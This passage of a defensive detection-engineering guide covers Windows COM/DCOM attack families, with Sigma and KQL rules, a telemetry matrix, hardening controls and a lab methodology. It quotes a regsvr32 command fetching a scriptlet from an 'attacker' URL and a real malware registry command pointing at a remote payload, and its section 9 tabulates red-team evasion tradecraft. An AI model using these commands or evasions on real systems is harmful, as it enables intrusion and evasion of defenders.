rundll32.exe -sta {CLSID}(note the evasion:-staggggsuffixes still work),verclsid.exe /S /C {CLSID},xwizard.exe RunWizard /taero /u {CLSID},mmc.exe -Embedding <file.msc>whose parent is notsvchost.exe(properly instantiated COM servers spawn fromsvchost -k DcomLaunch; any other parent for an-Embeddingcommand line is suspicious), andLocalServer32values carryingcmd.exe/powershell.exearguments (fileless persistence) ([35]).
6.2 Named rules and analytics
- SigmaHQ registry rules:
registry_set_persistence_com_hijacking_builtin.yml([16]),registry_set_persistence_com_key_linking.yml(TreatAs subkey; cites bohops Part 2) ([17]),registry_set_treatas_persistence.yml([18]), plusregistry_set_persistence_com_hijacking_susp_locations.ymlandregistry_set_persistence_search_order.yml; detection.fyi additionally indexes Modification Of Default System CLSID Default Value, PSFactoryBuffer COM Hijacking, and Scrobj.dll COM Hijacking ([15]). - Elastic prebuilt
persistence_suspicious_com_hijack_registry.toml(HKCU-vs-HKLM shadow diff) ([19]); Elastic's hunting guide How to hunt: Detecting persistence and evasion with COM is the vendor walkthrough ([20]). - Splunk Eventvwr UAC Bypass covers the
mscfilecrossover ([30]). - VirusTotal LiveHunt ships YARA keyed on the Sigma behavior rule for CLSID hijacking (2024) ([36]).
- Atomic Red Team T1546.015 tests #1–#4 for validation ([45]).
MDE KQL for the write seam ([15]):
// COM hijack registry writes
DeviceRegistryEvents
| where RegistryKey has @"Software\Classes\CLSID\"
| where RegistryKey has_any ("InprocServer32","LocalServer32","TreatAs") or RegistryKey has @"\TypeLib\"
| where ActionType has "SetValue" or ActionType has "Create"
6.3 Phantom-object hunting and the Autoruns blind spot
Phantom objects invert the diff problem: the attacker registers a CLSID a legitimate process already tries to activate (a dangling reference), so no legitimate value is overwritten and nothing breaks — there is nothing to diff against ([33]). The hunt therefore keys on the discovery artifact and the creation event:
- ProcMon filter for discovery and hunting alike:
Operation is RegOpenKey+Result is NAME NOT FOUND+Path ends with InprocServer32— every hit is a CLSID a live process wants; a subsequent key-creation event at the same path (Sysmon 12) is the hijack ([35]). - Orphan sweep (bohops): enumerate
Win32_COMSettingInprocServer32/LocalServer32paths and test file existence — "File Not Found" entries with attacker-writable directories are plantable without any registry write ([13], [35]). - Autoruns gap (repeat, because it drives tooling choice): Autoruns does not comprehensively enumerate HKCU CLSID shadows; the brief's recommended compensating procedure is a periodic
reg exportofHKCU\Software\Classes\CLSID,...\TypeLib, andUsrClass.datdiffed against a gold image, cross-checked with Sysmon 7 module loads ofexplorer/svchost/taskhostwfor DLLs outsideSystem32([35]).
6.4 TypeLib-hijack indicators (ReliaQuest / Black Basta affiliate case)
The 2025 in-the-wild chain is the reference IOC set for this variant ([31], [57]):
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
- LIBID
{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}= SHDocVw (Microsoft Web Browser control) — chosen because Explorer.exe references it at every start, so the remote scriptlet re-downloads on every restart. - Detection:
TypeLib\...\0\win32|win64values containingscript:/http(s):;scrobj.dllloading into non-scripting processes (Sysmon 7); outbound fetch of the.sct(Sysmon 3/22); thereg.execommand line itself (Sysmon 1). MITRE updated T1546.015 in 2025 to add this TypeLib/script:-moniker variation, citing ReliaQuest ([31], [48]).
7. Detecting Execution & Relay Abuse
Chapter 06's family spans scriptlet execution, managed-code loaders, and DCOM-triggered NTLM relay. The detection surface splits cleanly into content scanning (AMSI), lineage/network, and registry seams.
7.1 Squiblydoo (regsvr32 + COM scriptlets, T1218.010)
The chain regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll is all-signed (regsvr32 → scrobj.dll → jscript/vbscript.dll) and needs no registry writes and no admin — so detection leans on command line, image load, and egress ([14], [41]):
- Sysmon 1:
regsvr32with/i:+scrobj.dll+ a URL — the Sigma ruleproc_creation_win_regsvr32_squiblydoo.ymland MITRE's analytic CAR-2019-04-003 encode this ([14], [15]). - Sysmon 3/22:
regsvr32making outbound HTTP/S connections and DNS lookups — near-zero false positives; regsvr32 is proxy-aware (WinHTTP), so egress flows through the corporate proxy where it is loggable. - Sysmon 7/11:
scrobj.dllimage load insideregsvr32;.sctfile drops for the local-path variant. - In-the-wild prevalence to prioritize tuning against: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit
web_delivery([41]).
// Squiblydoo
DeviceProcessEvents
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_all ("scrobj.dll","/i:") and ProcessCommandLine has_any ("http","https","ftp")
7.2 DotNetToJScript and the AMSI coverage boundary
DotNetToJScript (Forshaw, 2017) runs a serialized .NET delegate graph inside WSH via COM-visible mscorlib classes — no managed assembly on disk; it is the engine of SharpShooter, CACTUSTORCH, GreatSCT, and the Outlook-CreateObject DCOM delivery ([42]). The AMSI boundary is the whole detection story ([43], [44]):
| Stage | AMSI visibility | Residual telemetry |
|---|---|---|
| Scriptlet/script content | Scanned — AmsiScanBuffer in jscript/vbscript; second scan per CreateObject'd block |
Sysmon 1/3/7/11/22; Sigma Squiblydoo ([14]) |
| .NET payload via COM | Conditional — CLR 4.8+ scans in-memory Assembly.Load(byte[]); CLR v2 (the DotNetToJScript default) has no hook |
Microsoft-Windows-DotNETRuntime ETW {E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4} assembly-load/JIT events in wscript/dllhost; Sysmon 7 clr.dll/clrjit.dll/mscoree.dll in script hosts |
| PowerShell DCOM one-liners | Fully scanned — script-block logging event 4104 | Splunk Remote Process Instantiation via DCOM and PowerShell (Script Block) ([21], [22]) |
| Type-confusion / trapped-COM native stages | None — registry + RPC + reflection only | Registry (Sysmon 12/13), RPC ETW, Threat-Intelligence ETW {F4E1897C-BB5D-5668-F1D8-040F4D8DD344} |
Microsoft shipped AMSI signatures for default DotNetToJScript/SharpShooter output in June 2018 — a template-signature control, evaded by changing the template; Forshaw's "copy wscript.exe as amsi.dll" trick neuters WSH scanning outright (LoadLibrary returns the already-loaded EXE image, AmsiInitialize fails). Neither evasion touches the ETW/registry residual columns above ([43]). One compensating hardening fact: since Windows 10 1803, CI.DLL (CipMitigatePPLBypassThroughInterpreters) blocks scrobj.dll, scrrun.dll, jscript.dll, jscript9.dll, and vbscript.dll from loading into protected processes — scriptlet-style PPL injection attempts fail loudly and are themselves high-fidelity signal ([37]).
7.3 Relay and coercion indicators
- RemotePotato0 (RPC→HTTP cross-protocol relay, "Won't Fix"): attacker marshals
IStorage(CoGetInstanceFromIStorage) for a CLSID running as Interactive User — default PoC{5167B42F-C111-47A1-ACC4-8EABE61B0B54}, BrowserBroker{0002DF02-0000-0000-C000-000000000046}— and the victim resolves OXID against the attacker resolver (135 redirect), then authenticated calls relay RPC/TCP → HTTP wrapper →ntlmrelayx→ LDAP/AD CS (ESC8)/SMB. Detection: unexpected Interactive-User-class activations, 135 redirects, and the KB5004442 events — the hardening'sPKT_INTEGRITYfloor is what killed the OXID-MITM→relay path, so 10036/10037/10038 are the relay-attempt telemetry ([8], [40]). - RemoteMonologue (IBM X-Force, 2025): with local admin, the attacker sets
RunAs = "Interactive User"on a chosen AppID (HKLM\SOFTWARE\Classes\AppID\{AppID}— Sysmon 13), remotely instantiates, and invokes a method/property that dereferences an attacker UNC to coerce the logged-on user's NTLM. Object watchlist: ServerDataCollectorSet{03837546-098B-11D8-9414-505054503030}(DataManager.ExtractUNC parameter), FileSystemImage{2C941FC5-975B-59BE-A960-9A2A262853A5}(WorkingDirectoryproperty), UpdateSession{4CB43D7F-7EEE-4906-8698-60DA1C38F2FE}(AddScanPackageService). Extras to alert on:LmCompatibilityLevel ≤ 2(NetNTLMv1 downgrade — Sysmon 13 onHKLM\SYSTEM\CurrentControlSet\Control\Lsa) and WebClient abuse (\\host@80\file— WebDAV egress) ([39]). - OXID resolver recon: unauthenticated
ServerAlive2againstIObjectExporter{99FCFEC4-5260-101B-BBCB-00AA0021347A}(port 135) leaks network interfaces (impacketoxidresolver) — flag 135 flows toIObjectExporterfrom non-management hosts in RPC ETW / RPC Firewall ([5], [6]). - Rule content: Sigma Remote DCOM/WMI Lateral Movement (
68050b10-e477-4377-a99b-3721b422d6ef) over RPC Firewall logs; native RPC filter event 5712 is unreliable ([6], [7]).
// RunAs tampering (RemoteMonologue)
DeviceRegistryEvents
| where RegistryKey has @"SOFTWARE\Classes\AppID\" and RegistryValueName =~ "RunAs"
Key idea: "You relay FROM DCOM, not TO DCOM" — post-KB5004442, DCOM activation is a poor relay target (PKT_INTEGRITY floor), but DCOM remains a premium relay trigger. Detection should therefore watch for the trigger (unusual activations, AppID tampering, OXID queries) rather than expecting the relay itself to touch DCOM ([8], [40]).
8. The Layered Coverage Matrix
How to read this figure: rows are the five COM attack families from chapters 02–06; columns are the telemetry sources from section 2. A marked cell means at least one usable, brief-attested signal exists at that intersection — read across a row to see why no single source catches a family, and down a column to see each source's blind spots.
The same matrix in text form — cells name the concrete signal (only where a brief attests it):
| Family ↓ / Source → | Sysmon 1 (process) | Sysmon 3 (network) | Sysmon 7 (image load) | Sysmon 12–14 (registry) | Security (4624/4648/4672, 4688, 4657/4663) | ETW (RPC / COM / .NET / TI) | Network (135, DCE/RPC, egress) |
|---|---|---|---|---|---|---|---|
| DCOM lateral movement | svchost -k DcomLaunch → mmc -Embedding / EXCEL /automation -Embedding / dllhost /Processid:; 2nd-gen mmc/explorer/EXCEL → cmd (Sigma f1f3bf22-…) |
Inbound 135 + dynamic high port; mmc/excel egress |
.xll, wshom.ocx, iertutil off-path |
LaunchPermission tamper (EID 13) |
4624 T3 (+4768/4769), 4648, 4672; Audit DCOM Activity | RPC EID 5/6 RemoteCreateInstance; RPC FW EID 3 (src IP) |
Wkstn↔wkstn 135; ShellExecute/ExecuteShellCommand cleartext at PKT_INTEGRITY; impacket \\__epoch regex |
| Privilege escalation | Service account → unusual child after DCOM activation | Loopback/listeners: 9999, 10247, 10271, 5985; outbound 135 redirect | CLR inside WaaSMedicSvc svchost; SprintCSP.dll/printconfig.dll loads |
StdFont TreatAs; AllowDCOMReflection/OnlyUseLatestCLR |
4624 Type 9 (NewCredentials, JuicyPotatoNG); 4672 on token use |
IObjectExporter/ResolveOxid2 abuse; DotNETRuntime JIT in services; TI-ETW on PPL behavior |
135 redirect to attacker resolver; SMB loopback context swap |
| UAC bypass | High-IL child of auto-elevate binary; no consent.exe |
— (local attack) | Hijack-DLL names outside System32 by elevated MS binaries | ms-settings/mscfile/Folder/AppX82a6… verbs; HKCU\Environment; IFEO VerifierDlls |
4688 + IL fields; 4657/4663 SACLs on association keys | Kernel-Process ETW; UacScan ETW 1201 (AMSI-for-UAC) | — (local attack; watch post-elevation egress) |
| Persistence | rundll32 -sta, verclsid /S /C, xwizard RunWizard, mmc -Embedding w/ non-svchost parent |
script: URL fetch at each trigger |
scrobj.dll in non-script hosts; hijack DLLs outside System32 in explorer/taskhostw |
HKCU CLSID/TypeLib shadows; TreatAs; ScriptletURL; NAME NOT FOUND → create |
4657/4663 with SACLs on Classes\CLSID/TypeLib |
COMRuntime ETW activation tracing; registry ETW | Remote .sct re-download every Explorer start |
| Execution & relay | regsvr32 /i: + URL + scrobj.dll; PowerShell GetTypeFromCLSID one-liners |
regsvr32 HTTP/S egress (near-zero FP); WebDAV \\host@80 |
scrobj.dll, jscript/vbscript in unusual hosts; CLR in wscript/dllhost |
AppID RunAs → Interactive User; LmCompatibilityLevel ≤ 2; Ole\AppCompat tamper |
4104 script blocks; AppLocker 8004; 4625 relay failures | DotNETRuntime {E13C0D23-…}; TI {F4E1897C-…}; RPC FW Sigma 68050b10-… |
135 redirects; OXID ServerAlive2 recon; relay to LDAP/AD CS/SMB |
Key idea: No single source suffices. Sysmon 1 misses fileless-in-existing-process work (ShellWindows, trapped COM); registry telemetry misses pure-network chains; network telemetry is blind to local-only attacks (UAC, local persistence); AMSI misses CLR-v2 and native stages. Coverage is the union of the marked cells — and every evasion in section 9 is an attempt to shrink a row to empty cells, which is why the seams must be monitored together.
9. Evasion Notes for Red Teamers
Every signal in sections 3–7 can be reduced; none can be reduced to zero. This section maps each detection to the brief-attested tradecraft that shrinks it, and the counter-detection that still fires — use it to plan noise budgets and to write realistic purple-team test cases.
OpSec: The governing tradeoff is stealth vs. prerequisites. The quietest object usually demands more from the target (an interactive session, Office installed, a reachable attacker host), and the most reliable object is usually the best-instrumented. Choose per engagement constraints, and assume the counter-detection column is deployed.
| Signal to reduce | Attested tradecraft | What still catches you (counter-detection) |
|---|---|---|
MMC20 lineage (Sigma f1f3bf22-…) |
Use ShellWindows/ShellBrowserWindow instead — payload becomes a child of the already-running explorer.exe, no new COM host (impacket dcomexec defaults to ShellWindows). Tradeoff: requires an interactive session on target; ShellBrowserWindow absent on Win7 ([12], [61]) |
Second-generation explorer.exe → cmd/powershell is itself anomalous; the DcomLaunch KQL anchor and workstation↔workstation 135 remain ([2]) |
Excel /automation -Embedding artifact |
Avoid Excel on servers — Office running non-interactively there is ~zero-FP for defenders; prefer MMC20/ShellWindows where Office telemetry is strong ([62]) | /automation -Embedding correlation is exactly the FalconFriday 0xFF05 analytic; .xll/XLM loads (Sysmon 7) persist ([2]) |
| impacket output-write artifact | -nooutput (blind) or out-of-band exfil instead of the default \\127.0.0.1\ADMIN$\__<epoch>.<ms> write-back ([12]) |
misthi0s regex \\__[0-9]{10}\.[0-9]{6,7}\s2>&1; ADMIN$ write auditing (Sysmon 11) ([3]) |
| Logon events | Kerberos (target by hostname) produces 4768/4769 on DCs; NTLM (target by IP) produces 4624 Type 3 NTLM and enables PtH (dcomexec -hashes); Protected Users blocks NTLM — pick per environment; 127.0.0.1 loopback works for local validation ([12]) |
4624 Type 3 + 135-flow + lineage correlation regardless of protocol ([11]) |
| KB5004442 hardening events | Keep tooling at ≥ RPC_C_AUTHN_LEVEL_PKT_INTEGRITY (current impacket complies) — legacy clients and relay tools trip 10036/10037/10038, which log the client IP ([8], [12]) |
Hardening does not stop credentialed admin DCOM — but attempting relay paths does, loudly ([9]) |
| InprocServer32-write rules | TreatAs redirection — the legitimate CLSID's server key is never modified (Turla Outlook chain); phantom/undefined CLSIDs — no value overwritten, nothing to diff (CrowdStrike ClickOnce variant); reg-free COM manifests keep persistence off the CLSID hive ([33], [35]) |
Sigma registry_set_persistence_com_key_linking / registry_set_treatas_persistence; NAME NOT FOUND → key-create correlation; gold-image hive diffs ([17], [18]) |
| ScriptletURL rarity | Do not use ScriptletURL — it is rare legitimately and singled out as "detection gold" ([35]) |
Any ScriptletURL creation alert; scrobj.dll in non-script hosts |
| Payload-host crashes (WerFault = detection) | Pass-through hijack DLL (forward DllGetClassObject to the original server), match ThreadingModel to the HKLM original, mutex/event gate against re-instantiation, hold DllCanUnloadNow until payload finishes; know that visible breakage betrays you — the Scripting.Dictionary squiblydoo demo broke slmgr.vbs/WinRM ([35]) |
The forwarded DLL still loads from outside System32 (Sysmon 7); ThreadingModel mismatches surface as RPC_E_CANTTRANSMIT/UI deadlocks users report ([20]) |
| AMSI content scanning | DotNetToJScript defaults to CLR v2 (no AMSI hook); mutate the template (June 2018 signatures cover only defaults); Forshaw's rename-wscript.exe-as-amsi.dll WSH bypass ([42], [43]) |
DotNETRuntime ETW assembly/JIT events in wscript/dllhost; Sysmon 7 clr*.dll in script hosts; CI.DLL blocks script engines in protected processes outright |
| Sysmon 8 (CreateRemoteThread) | COM injection paths — type confusion, IRundown::DoCallback, trapped-COM Assembly.Load — never create threads ([37]) |
Threat-Intelligence ETW (PPL consumers); registry seams of the arming step; clr*.dll loads into protected services |
| Potato disk artifacts | In-memory variants: SweetPotato/GodPotato-NET4/SigmaPotato ([SigmaPotato]::Main() via .NET reflection) ([54]) |
DCOM activation of BITS/PrintNotify CLSIDs by service accounts; named pipes (\\.\pipe\roguepotato\pipe\epmapper); 4624 Type 9; outbound 135 ([52]) |
| UAC elevation events | PEB masquerading before CoGetObject (AppInfo scrutinizes the caller — modern loaders pose as explorer.exe/conhost.exe); obfuscate the Elevation:Administrator!new: string (reversed/XORed); prefer AlwaysNotify-compatible classes (SilentCleanup env, SSPI datagram) when "Always notify" is set ([49]) |
High-IL-child/auto-elevate-parent correlation is policy-independent; Sysmon 10 handle duplication into bypass binaries ([28], [29]) |
| File disk footprint entirely | Fileless chains: DotNetToJScript shellcode, ForsHops (registry values only), LocalServer32 with cmd.exe arguments ([38], [42]) |
The registry seams and ETW residuals are the whole detection surface — see section 8 rows 2 and 5 |
10. Mitigations & Hardening Master List
Consolidated from all six research briefs, grouped by control plane. Where a brief attaches a caveat, it is carried with the control.
10.1 DCOM protocol hardening (KB5004442 / CVE-2021-26414)
- Enforce
HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel = 1(server floorRPC_C_AUTHN_LEVEL_PKT_INTEGRITYfor non-anonymous activation) andRaiseActivationAuthenticationLevel = 2(client auto-raise). Timeline: Jun 2021 opt-in → Jun 2022 default-on → Nov 2022 client raise → Mar 2023 mandatory ([8], [10]). - Alert on tamper: Sysmon 13 on
HKLM\SOFTWARE\Microsoft\Ole\AppCompat\*(value flipped to 0 = pre-attack weakening); trend 10036/10037/10038 as both health and detection telemetry ([9]). - Caveat: the hardening broke legacy OPC Classic deployments (OPC is entirely DCOM) — industrial/OT estates need per-application testing before enforcement ([10]).
10.2 Scoping or disabling DCOM
HKLM\SOFTWARE\Microsoft\Ole\EnableDCOM = "N"disables remote activation — breaks remote WMI; test at scale before fleet rollout ([12]).EnableRemoteConnect = "N"separately gates remote access (non-activation) calls.- Network scoping first: block workstation↔workstation TCP 135 + dynamic range; restrict DCOM to management hosts/PAWs; disable inbound firewall groups COM+ Network Access (DCOM-In) and Microsoft Management Console ([12]).
10.3 DCOM ACL hardening (launch/access ceilings)
- Machine ceilings:
MachineLaunchRestriction/MachineAccessRestriction(dcomcnfg → COM Security → Edit Limits) — remove Remote Launch/Activation from the Administrators defaults where DCOM is not operationally required ([12]). - Per-object procedure (from the brief, verbatim steps): take ownership of
HKCR\AppID\{AppID}(TrustedInstaller-owned) → set an explicitLaunchPermissionSD denying remote launch → restore ownership → remove your own FullControl. Inventory legitimate DCOM first (SCCM, backup, OPC, AV management) and deny the rest, MMC20 and Office CLSIDs first; monitor Sysmon 13 forLaunchPermissiontampering ([12]).
10.4 Office and application control
- Office COM Compatibility kill list:
HKLM\SOFTWARE\Microsoft\Office\<ver>\Common\COM Compatibility\{CLSID}— Microsoft's per-application kill bits covering thehtafile, scriptlet, Composite, File, New, and SOAP moniker classes; deploy for the abusable set ([37]). - AppLocker/WDAC: block
scrobj.dllscript execution (Squiblydoo), block Office child processes, blockmshta/ScriptControl, apply ASR rules, and do not run Office on servers ([12], [14]). Audit-mode events (AppLocker 8004) double as detection content ([15]). - UAC-family app control: block child processes of auto-elevate binaries and DLL loads from user-writable paths; enable the
PreferSystem32Imagesmitigation ([49], [60]).
10.5 Relay, coercion, and spooler/EFSRPC hardening
- SMB signing, LDAP signing + channel binding, AD CS Extended Protection for Authentication (EPA) — close the relay destinations ([40]).
- Disable WebClient (kills
\\host@80\fileWebDAV coercion); setLmCompatibilityLevel = 5(NTLMv1 off); enable LSA Protection ([39]). - Spooler/EFSRPC: apply the CVE-2021-36942 EFSR hardening and disable the Print Spooler where not needed — caveat from the brief: PrintNotify-based potatoes (PrintNotifyPotato, JuicyPotatoNG) work with the legacy spooler disabled, so spooler removal alone does not close the potato class; the durable control is patching (CVE-2023-21746) plus the service-account-activation detection of section 4.1 ([53], [54], [64]).
- RPC Firewall on servers/DCs for per-call RPC mediation and logging ([6], [7]).
10.6 UAC policy set
- The #1 control (per UACME itself): standard-user accounts — no admin token, nothing to bypass (M1026) ([49]).
- Slider to Always notify (
ConsentPromptBehaviorAdmin = 2,PromptOnSecureDesktop = 1) — kills most auto-elevate bypasses but not all: SilentCleanup env, token manipulation, DiskCleanup race, SSPI datagram, PCA, RequestTrace, and QuickAssist methods are documented AlwaysNotify-compatible; defense-in-depth still required ([49]). - Harden the rest of the policy surface:
ConsentPromptBehaviorUser = 0(auto-deny), keepEnableLUA = 1, setFilterAdministratorToken = 1for the built-in Administrator, keepPromptOnSecureDesktop = 1; monitorLocalAccountTokenFilterPolicyandEnableLUAfor tamper (needs prior admin → post-exploitation signal) ([49], [60]).
10.7 Identity controls
- LAPS for local-admin hygiene; tiered administration with PAWs; Credential Guard; Protected Users (blocks NTLM — kills PtH-style NTLM DCOM; Kerberos DCOM remains possible); disable NTLM where feasible ([12]).
10.8 Patch currency (each item kills a technique class)
- Win10 1809/Server 2019: silent rpcss OXID-binding fix — kills Rotten/JuicyPotato ([52]). Win10 19H1: DiagHub
ProcessImageLoadPolicy([67]). Jan 2023: CVE-2023-21746 — kills LocalPotato SMB context swap ([64]). oleaut32VerifyTrustsigning-level check — blocks TLB substitution in protected processes ([37]). July 2022: KnownDlls no longer initialized in PPL (PPLdump class) ([37]). Win10 1803:CI.DLLinterpreter blocklist in protected processes ([37]). Win11 24H2/25H2: mock trusted directories, consent DotLocal,wow64log,dccw, EventViewer .NET deserialization, WSReset, EditionUpgradeManager, taskhostw PCA fixes ([49], [50]).
10.9 Neutralizing abusable CLSIDs (with stability caveats)
- Prefer ACL denial (10.3) over deletion. If you delete or shadow an abusable CLSID, the briefs' hijack-stability lessons apply in reverse: dependent clients must still resolve something sane — match
ThreadingModel, handle 32/64-bit hive placement (Wow6432Nodefor Office paths), and soak-test for WerFault, UI hangs, and proxy-marshal stalls ([35]). - Known-breakage precedent from the brief: hijacking
Scripting.Dictionarybreaksslmgr.vbsand WinRM — expect the same class of collateral when removing live shell classes ([35]). - The safe neutralization set is abandoned-binary classes (the mobsync pattern: registered CLSID, missing binary) — deleting the registration removes a plantable path with no functional loss ([13]).
- For Office-facing moniker classes, use the COM Compatibility kill list (10.4) rather than hive surgery ([37]).
10.10 Sensor and baseline deployment
- Deploy Sysmon with
sysmon-modularor SwiftOnSecurity'ssysmon-configas the baseline; collect RPC ETW EID 5/6 on critical hosts; enable the Audit DCOM Activity subcategory on servers; place SACLs onSoftware\Classes\AppID,CLSID, andTypeLibfor 4657/4663; maintain gold-imagereg exportsnapshots ofHKCU\Software\ClassesandUsrClass.datfor diffing ([11], [46], [47]).
Research Lab: Detection-Engineering Your Own COM Research
New COM findings ship as blog posts and PoCs, not as detections. The lab skill is converting a fresh technique into tested rules before your adversary uses it. The methodology below is the one the briefs themselves demonstrate (FireEye's COM hunting series, Elastic's COM hunt guide, FalconFriday's analytic write-ups all follow this shape) ([2], [20], [32]). For a current conference-level overview of the legacy-but-live DCOM attack surface your detections must cover, see the hack.lu 2025 deck ([59]).
1. Hunting hypothesis
The hypothesis that pays: every COM technique, however fileless, must cross at least one seam that is rare in normal operations — a registry value almost never written legitimately (ScriptletURL, AllowDCOMReflection, a TreatAs by a non-Office process), a lineage anchor (svchost -k DcomLaunch spawning a server), or a wire shape (135 + dynamic ports from a workstation). Your job is to find the seam the author did not mention, because authors document the exploit, not the telemetry.
2. Sensor baseline (instrument before you detonate)
Lab setup per the internals brief: two domain-joined VMs for DCOM work, a standard-user VM for HKCU-hijack work, snapshots before regsvr32/manifest experiments, and COM ETW tracing enabled — the Microsoft-Windows-COMRuntime provider plus the OLE32/COM providers for activation tracing; ProcMon with Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32 and Result = NAME NOT FOUND for phantom hunting; Wireshark dcom/dcerpc dissectors (grep MEOW); RpcView for interface/IPID maps; Event Viewer on the DistributedCOM 10015/10016/10036–10038 channel; WinDbg bp combase!CoCreateInstance for activation breakpoints; OleViewDotNet for enumerating the classes involved ([55]).
*(illustrative — adapt flags/levels to your build and provider manifest)*
logman create trace com-activation -ets -o C:\traces\com-activation.etl
logman update trace com-activation -ets -p "{BF406804-6AFA-46E7-8A48-6C357E1D6D61}" 0xFFFFFFFFFFFFFFFF 0xFF
rem ^ Microsoft-Windows-COMRuntime — activation tracing
logman update trace com-activation -ets -p "{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}" 0xFFFFFFFFFFFFFFFF 0xFF
rem ^ Microsoft-Windows-RPC — InterfaceUuid/OpNum/Endpoint per call
logman update trace com-activation -ets -p "{E13C0D23-CCBC-4E12-931B-D9CC2EEE27E4}" 0xFFFFFFFFFFFFFFFF 0xFF
rem ^ Microsoft-Windows-DotNETRuntime — Assembly.Load/JIT inside COM hosts
logman stop com-activation -ets
3. Capture normal, then detonate, then diff
- Baseline normal activation telemetry: on the clean snapshot, exercise ordinary COM — browse classes with OleViewDotNet, open Office/
mmc/eventvwr, log off/on, reboot. Export the hives (reg export HKCU\Software\Classes base-hkcu.reg, same forHKLM\SOFTWARE\Classesand a copy ofUsrClass.dat), take a pcap, and collect the Sysmon/ETW window. This is your "normal" corpus — every detection you write must survive replay against it. - Run the attack: reproduce the finding's PoC, or the closest Atomic Red Team test (T1021.003, T1546.015 #1–#4, T1548.002) as a stand-in for the class ([45]).
- Diff everything: Sysmon events in the detonation window minus the baseline set; hive diff (
FC /Bor a registry-diff tool on the exports); pcap diff (new 135 flows,MEOWblobs,GetIDsOfNamesstrings); ETW trace for the activation's interface UUIDs. Every delta is candidate detection content — the FireEye COM-hunting methodology is exactly this loop run at fleet scale ([32]).
4. Codify: Sigma skeleton for a COM technique
# ILLUSTRATIVE skeleton — not a shipped rule. Fill from your diff; validate against baseline.
title: COM <Technique> <Artifact Class>
id: <new-uuid>
status: experimental
logsource:
product: windows
category: registry_set # swap for process_creation / image_load / network_connection
detection:
selection:
TargetObject|contains: 'Software\Classes\CLSID\{<CLSID-from-diff>}'
Details|contains: '<attacker-controlled value from diff>'
filter_baseline:
Image|endswith:
- '\msiexec.exe' # installers seen writing this key in YOUR baseline
- '\TiWorker.exe'
condition: selection and not filter_baseline
level: high
For the lineage and network seams, swap logsource to process_creation (parent/child pairs from section 3.1) or use the RPC Firewall event channel with interface UUIDs from section 2.4; the Splunk/Sigma entries cited in sections 3–7 are worked examples of each form ([1], [14], [15]). Automating the enumeration-to-telemetry pipeline (registry → JSON of interfaces → scripted Invoke while capturing) is described in the incendium.rocks methodology ([58]).
5. Triage: is this artifact a durable rule?
A diff artifact is worth codifying when it passes four checks (derived from the durability lessons in sections 3–9):
- Rare in baseline —
ScriptletURL,AllowDCOMReflection, AppIDRunAschanges are near-zero in healthy estates;InprocServer32writes are not (installers churn them). - Necessary for the technique — the attacker cannot remove it without switching technique classes (the StdFont
TreatAsis necessary for the trapped-COM CLR path; the specific CLSID is not — Outflank found alternates ([56])). - Survives template mutation — method names on the wire and lineage anchors survive; default-tool strings (DotNetToJScript's June-2018 signature set) do not ([43]).
- Version-tolerant — opnum filters and exact ports rot across builds (section 2.5's discrepancy warning); registry paths and UUIDs age better.
6. Validate, then widen
Replay the rule against the baseline corpus (false-positive pass), then against the technique's variants (true-positive pass: per-user vs machine hive, WOW6432Node path, local vs remote form). Then generalize: a rule on one hijacked CLSID becomes a rule on the seam (InprocServer32 outside System32), and the specific CLSID drops to a threat-intel enrichment. Contribute upstream — the SigmaHQ registry_set COM rules and the RPC Firewall rules in this chapter all started as somebody's diff ([15], [16]).
7. Further reading
- Hunting COM Objects, parts 1–2 — FireEye (2019) — the fleet-scale COM hunting methodology ([32]).
- How to Hunt: Detecting Persistence and Evasion with COM — Elastic ([20]).
- Utilizing RPC Telemetry — SpecterOps ([5]).
- FalconFriday 0xFF05: DCOM/SCM Lateral Movement — FalconForce ([2]).
- KnowYourAdversary #111: Black Basta TypeLib Hunting ([57]).
- COM Hijacking from a Defender's Perspective — HexaStrike ([68]).
References
[1] Sigma Rule: MMC20 Lateral Movement (proc_creation_win_mmc_mmc20_lateral_movement) — SigmaHQ via detection.fyi — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/
[2] FalconFriday 0xFF05: DCOM/SCM Lateral Movement — FalconForce — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/
[3] Hunting Impacket RCE Tools — misthi0s (2023) — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/
[4] BloodHound: ExecuteDCOM Edge — SpecterOps — https://bloodhound.specterops.io/resources/edges/execute-dcom
[5] Utilizing RPC Telemetry — SpecterOps — https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5
[6] Stopping Lateral Movement via the RPC Firewall — Zero Networks — https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall
[7] RPC Firewall (repository) — Zero Networks — https://github.com/zeronetworks/rpcfirewall
[8] KB5004442 — Manage Changes for Windows DCOM Server Security Feature Bypass (CVE-2021-26414) — Microsoft Support (2021) — https://support.microsoft.com/en-us/topic/kb5004442-manage-changes-for-windows-dcom-server-security-feature-bypass-cve-2021-26414-f1400b52-c141-43d2-941e-979ed901b716
[9] Microsoft DCOM Hardening Patch (CVE-2021-26414) — Events 10036/10037/10038 — SoftwareToolbox — https://help.softwaretoolbox.com/faq/microsoft-dcom-hardening
[10] DCOM Authentication Hardening: What You Need to Know — Microsoft Tech Community — https://techcommunity.microsoft.com/blog/windows-itpro-blog/dcom-authentication-hardening-what-you-need-to-know/3657154
[11] Lateral Movement Using the MMC20.Application COM Object — enigma0x3 (2017) — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
[12] dcomexec.py — impacket (Fortra) — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py
[13] Abusing DCOM for Yet Another Lateral Movement Technique (mobsync) — bohops (2018) — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/
